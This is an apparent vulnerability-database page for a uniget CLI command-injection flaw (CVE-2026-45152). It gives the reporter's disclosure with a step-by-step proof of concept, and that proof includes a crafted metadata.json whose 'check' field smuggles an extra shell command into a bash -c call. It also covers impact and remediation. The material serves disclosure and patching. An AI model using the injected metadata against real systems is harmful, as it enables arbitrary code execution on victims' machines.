Skip to main content

uniget CVE-2026-45152

HIGH
OS Command Injection (CWE-78)
2026-05-13 https://github.com/uniget-org/cli GHSA-qqq4-5773-pmw5
7.8
CVSS 3.1 · GitHub Advisory
Share

Severity by source

GitHub Advisory PRIMARY
7.8 HIGH
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

2
Source Code Evidence Fetched
Jun 08, 2026 - 10:14 vuln.today
Analysis Generated
Jun 08, 2026 - 10:14 vuln.today

DescriptionGitHub Advisory

I discovered a command injection vulnerability in uniget that allows arbitrary command execution through the metadata loading and version check mechanism.

Summary

A command injection vulnerability exists in uniget due to unsafe execution of the check field from metadata files using /bin/bash -c. Because the check field is loaded directly from untrusted JSON metadata without validation or sanitization, an attacker can craft malicious metadata that executes arbitrary shell commands on the victim’s system when common uniget operations such as describe, install, update, or inspect are performed.

This vulnerability can lead to arbitrary code execution with the privileges of the user running uniget.

Details

The vulnerable code is located in:

tool.go:250

Vulnerable function:

go id="f2g0ic"
func (tool *Tool) RunVersionCheck() (string, error) {
    cmd := exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")
    version, err := cmd.Output()
    return string(version), nil
}

The issue occurs because the tool.Check field is populated directly from metadata JSON files without validation.

Related structure:

go id="7f4yzm"
type Tool struct {
    Check string
}

Metadata loading uses json.Unmarshal() to populate the Tool struct directly from JSON metadata, allowing attacker-controlled input to reach the shell execution sink.

Because /bin/bash -c is used, shell metacharacters such as ;, &&, |, $(), and backticks are interpreted by the shell, enabling arbitrary command injection.

PoC

Step 1 - Verify the vulnerable binary:

bash id="7k3d07"
/tmp/uniget-bin --version

Output:

text id="p2gk9z"
uniget version main

Step 2 - Create malicious metadata cache:

bash id="j5zpr0"
mkdir -p ~/.local/var/cache/uniget

cat > ~/.local/var/cache/uniget/metadata.json << 'EOF'
{
  "tools": [
    {
      "name": "evil-tool",
      "version": "1.0.0",
      "binary": "${target}/bin/evil-tool",
      "check": "echo '1.0.0'; id > /tmp/rce-proof.txt",
      "tags": ["test"],
      "description": "RCE test",
      "repository": "https://example.com",
      "license": {
        "name": "MIT",
        "link": "https://example.com"
      },
      "sources": [
        {
          "registry": "ghcr.io",
          "repository": "uniget-org/tools"
        }
      ]
    }
  ]
}
EOF

Step 3 - Create placeholder binary:

bash id="53ml7u"
mkdir -p ~/.local/usr/local/bin

cat > ~/.local/usr/local/bin/evil-tool << 'EOF'
#!/bin/bash
echo "placeholder"
EOF

chmod +x ~/.local/usr/local/bin/evil-tool

Step 4 - Trigger the vulnerable workflow:

bash id="w4j7h4"
/tmp/uniget-bin describe evil-tool --prefix ~/.local

Application output:

text id="q0k54m"
Name: evil-tool
  Description: RCE test
  Repository: https://example.com
  Version: 1.0.0
  Check: <echo '1.0.0'; id > /tmp/rce-proof.txt>

Step 5 - Verify arbitrary command execution:

bash id="w7r8z3"
ls -la /tmp/rce-proof.txt
cat /tmp/rce-proof.txt

Actual output:

bash id="6plm7v"
-rw-rw-r-- 1 w4nn4d13 w4nn4d13 253 May 7 23:53 /tmp/rce-proof.txt

uid=1000(w4nn4d13) gid=1000(w4nn4d13) groups=1000(w4nn4d13),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),106(bluetooth),108(lpadmin),112(kaboxer),113(wireshark),128(docker)

<img width="1107" height="694" alt="image" src="https://github.com/user-attachments/assets/857dbec9-9e51-4676-bf90-e529ad23b9a7" />

<img width="1909" height="631" alt="image" src="https://github.com/user-attachments/assets/f4a1bac2-634e-4f67-91cb-c8684f442b4e" />

This confirms arbitrary command execution through the untrusted check field loaded from metadata.

Impact

This issue allows arbitrary command execution on systems running uniget when processing malicious metadata.

An attacker may be able to:

  • Execute arbitrary shell commands
  • Exfiltrate sensitive files or environment variables
  • Install malware or backdoors
  • Modify or delete accessible files
  • Establish persistence on the victim machine
  • Compromise CI/CD environments using uniget automation

Any user importing or processing attacker-controlled metadata may be impacted.

Suggested Remediation

Avoid using /bin/bash -c with untrusted input.

Instead of:

go id="ntxjlwm"
exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'")

consider executing fixed binaries and arguments directly without invoking a shell.

For example:

go id="ngbkk2"
exec.Command(binary, "--version")

or sanitize and strictly validate allowed commands before execution.

Thank you for your time and for maintaining the project. Please let me know if you need any additional information or a more detailed proof of concept.

AnalysisAI

Command injection in uniget (gitlab.com/uniget-org/cli) before v0.27.1 enables arbitrary shell command execution when the CLI processes attacker-controlled tool metadata. The check field from JSON metadata is concatenated into a /bin/bash -c invocation by RunVersionCheck() in tool.go, so common operations like describe, install, update, or inspect trigger execution under the invoking user's privileges. Publicly available exploit code exists (vendor PoC in GHSA-qqq4-5773-pmw5); EPSS is low at 0.03% (10th percentile) and the issue is not in CISA KEV.

Technical ContextAI

uniget is a Go-based CLI tool manager (package gitlab.com/uniget-org/cli) that ingests JSON metadata describing installable tools. A Tool struct populated via json.Unmarshal() carries a Check string used to determine an installed tool's version. The vulnerable sink at tool.go:250 builds a command as exec.Command("/bin/bash", "-c", tool.Check+" | tr -d '\n'"), passing untrusted metadata content to a shell that interprets metacharacters such as ;, &&, |, $(), and backticks. This maps to CWE-78 (OS Command Injection): the root cause is mixing data (metadata-supplied check expression) with code (shell command line) without validation, allow-listing, or argv-style execution. The v0.27.1 release notes indicate the fix is to 'Only accept signed metadata' (commit d12ef12), tightening the trust boundary on the metadata source rather than re-architecting the shell sink itself.

RemediationAI

Vendor-released patch: upgrade uniget to v0.27.1 or later, which restricts metadata acceptance to signed payloads (commit d12ef12, per https://github.com/uniget-org/cli/releases/tag/v0.27.1 and advisory https://github.com/uniget-org/cli/security/advisories/GHSA-qqq4-5773-pmw5); verify the release using the published cosign signature against certificate identity refs/tags/v0.27.1 from the GitLab OIDC issuer. Until upgrade is possible, treat the on-disk metadata cache as sensitive: remove or rebuild any stale metadata at the user-scoped cache path (e.g., ~/.local/var/cache/uniget/metadata.json) before running uniget, restrict that directory's permissions to the invoking user only, and only fetch metadata from the official uniget-org source over a trusted channel - the side effect is that operators must take responsibility for cache provenance because uniget itself does not validate untrusted check fields in vulnerable versions. In CI/CD, pin uniget to >=0.27.1 in pipeline images and fail builds on older versions; avoid running uniget against caches mounted from untrusted workspaces or third-party container images. Source-fix-only contributors can mirror the upstream change by enforcing metadata signature verification and, defensively, refactoring RunVersionCheck() to use argv-style exec.Command without /bin/bash -c or to allow-list expected version-extraction patterns.

More in Docker

View all
CVE-2024-55964 CRITICAL POC
9.8 Mar 26

An issue was discovered in Appsmith before 1.52. Rated critical severity (CVSS 9.8), this vulnerability is remotely expl

CVE-2019-5736 HIGH POC
8.6 Feb 11

runc through version 1.0-rc6 (used in Docker before 18.09.2) contains a container escape vulnerability that allows attac

CVE-2023-32077 HIGH POC
7.5 Aug 24

Netmaker makes networks with WireGuard. Rated high severity (CVSS 7.5), this vulnerability is remotely exploitable, no a

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2023-5815 HIGH POC
8.1 Nov 22

The News & Blog Designer Pack - WordPress Blog Plugin - (Blog Post Grid, Blog Post Slider, Blog Post Carousel, Blog Post

CVE-2014-9357 CRITICAL
10.0 Dec 16

Docker 1.3.2 allows remote attackers to execute arbitrary code with root privileges via a crafted (1) image or (2) build

CVE-2026-34156 CRITICAL POC
9.9 Mar 30

Remote code execution in NocoBase Workflow Script Node (npm @nocobase/plugin-workflow-javascript) allows authenticated l

CVE-2019-15752 HIGH POC
7.8 Aug 28

Docker Desktop Community Edition before 2.1.0.1 allows local users to gain privileges by placing a Trojan horse docker-c

CVE-2025-34221 CRITICAL POC
10.0 Sep 29

Vasion Print (formerly PrinterLogic) Virtual Appliance Host prior to version 25.2.169 and Application prior to version 2

CVE-2024-23054 CRITICAL POC
9.8 Feb 05

An issue in Plone Docker Official Image 5.2.13 (5221) open-source software that could allow for remote code execution du

CVE-2025-23211 CRITICAL POC
9.9 Jan 28

Tandoor Recipes is an application for managing recipes, planning meals, and building shopping lists. Rated critical seve

CVE-2026-46339 CRITICAL POC
10.0 May 19

Unauthenticated remote code execution in 9router (npm package) versions 0.4.30 through 0.4.36 allows network-adjacent at

Share

CVE-2026-45152 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy